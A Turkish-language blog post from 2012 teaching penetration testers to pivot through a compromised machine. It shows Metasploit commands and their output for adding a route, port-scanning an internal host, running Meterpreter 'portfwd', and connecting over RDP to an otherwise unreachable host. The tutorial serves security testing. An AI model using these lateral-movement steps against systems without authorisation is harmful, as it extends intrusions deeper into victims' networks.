29 Haziran 2012 Cuma

Meterpreter Port Forwarding ile Bağlantı Sağlama Yöntemi





Amaç:

Saldırgan ile B makinesi arasında kurulan meterpreter oturumu sayesinde A makinesinden erişimi olmayan C’ye RDP bağlantısının gerçekleştirilmesidir.

Güvenlik testlerinde hedef sistemde ele geçirdiğimiz makinelerin haricinde aynı networkte bulunan diğer makinelere de bir şekilde bağlantı kurmak isteriz. Bunun çeşitli yöntemleri bulunmakta. Pivoting yöntemini ve sonrasında yapılabilecekleri linkteki yazımızda detaylıca anlatmıştık. Burada anlatacaklarımız port forwarding yöntemi ile A makinesininin C makinesine RDP bağlantı kurmasıdır. A makinesi bunu yaparken Saldırgan ile B makinesi arasında bulunan tüneli kullanacaktır.

Şimdi konuyu analiz ederek başlayalım. İlk adımda B’de bulunan güvenlik açığından dolayı Saldırgan makinesi B ile oturum açmayı başarmıştır. Şu ana kadar her şey yolunda. A makinesinin C’ye bağlantı kurabilmesi için öncelikle 10.1.1.0/24 networkunu tanıması gerekmektedir. Bunun için meterpreter üzerinde routing yazılacaktır. Fakat bu işlem sadece Saldırgan makinesi için erişimi tamamlayacaktır. O halde A makinesini C’ye Saldırgan üzerinden eriştirelim. Evet kulağa hoş geliyor. Eğer Saldırgan üzerinde hedef networke doğru bir port yönlendirme yaparsak C ye erişmiş olacağız. O halde şimdi sırasıyla işlemleri uygulamaya başlayalım.

Not: Saldırgan, B ile meterpreter oturumu kurarak B’yi ele geçirmiş oluyor. Bu bölüm ayrıca anlatılmamaktadır.

meterpreter > background
[*] Backgrounding session 1...

Oturumu background komutu ile arka planda tutarak erişimimizin olmadığı 10.1.1.0/24 networku için route eklemesi yapıyoruz.

msf  exploit(ms08_067_netapi) > route add 10.1.1.0 255.255.255.0 1
[*] Route added
Metasploit üzerinde bulunan TCP scan modulü ile hem C makinesine bağlantı kurup kurmadığımızı hem de açık portları tespit edelim.
msf  exploit(ms08_067_netapi) > use auxiliary/scanner/portscan/tcp
msf  auxiliary(tcp) > set rhosts 10.1.1.130
rhosts => 10.1.1.130
msf  auxiliary(tcp) > run

[*] 10.1.1.130:139 - TCP OPEN
[*] 10.1.1.130:135 - TCP OPEN
[*] 10.1.1.130:445 - TCP OPEN
[*] 10.1.1.130:1025 - TCP OPEN
[*] 10.1.1.130:3389 - TCP OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

msf  auxiliary(tcp) >


Yazdığımız route sayesinde 10.1.1.130 IP’sine erişebildiğimizi gördük. Ayrıca 3389 portunun da C makinesi üzerinde açık olduğunu tespit etmiş olduk.
Böylelikle saldırganın C’ye erişimini de sağlamış olduk. Şimdi sıra geldi A makinesini saldırgan üzerinden C’ye yönlendirmeye. Bunun için meterpreter üzerinde portfwd komutunu kullanarak lokal 4445 portunu 10.1.1.130 IP adresinin 3389 yani RDP portuna eşleştiriyoruz. Bu komut sayesinde saldırgan makinesinin 4445 portuna bağlantı kurulduğunda tünel üzerinden C makinesinin RDP portuna erişilmiş olacak.
Sessions –i 1 komutu ile arka plana attığımız oturumu tekrar alıyoruz.

msf  exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...

İlgili port yönlendirme komutunu giriyoruz.

meterpreter > portfwd add -l 4445 -r 10.1.1.130 -p 3389
[*] Local TCP relay created: 0.0.0.0:4445 <-> 10.1.1.130:3389

Ve şimdi sıra geldi A makinesinden C’ye RDP ile bağlanmaya. Yukarıda yazdığımız port yönlendirme komutuna istinaden saldırgan makinesinin 4445 portuna RDP bağlantısı gerçekleştiriyoruz.

root@GG:~# rdesktop 192.168.183.226:4445 -u Administrator
WARNING: Remote desktop does not support colour depth 24; falling back to 16

Şekilde de görüldüğü gibi başarılı bir şekilde C makinesine RDP bağlantısı kurmuş olduk.






-GG




0 yorum:

Yorum Gönder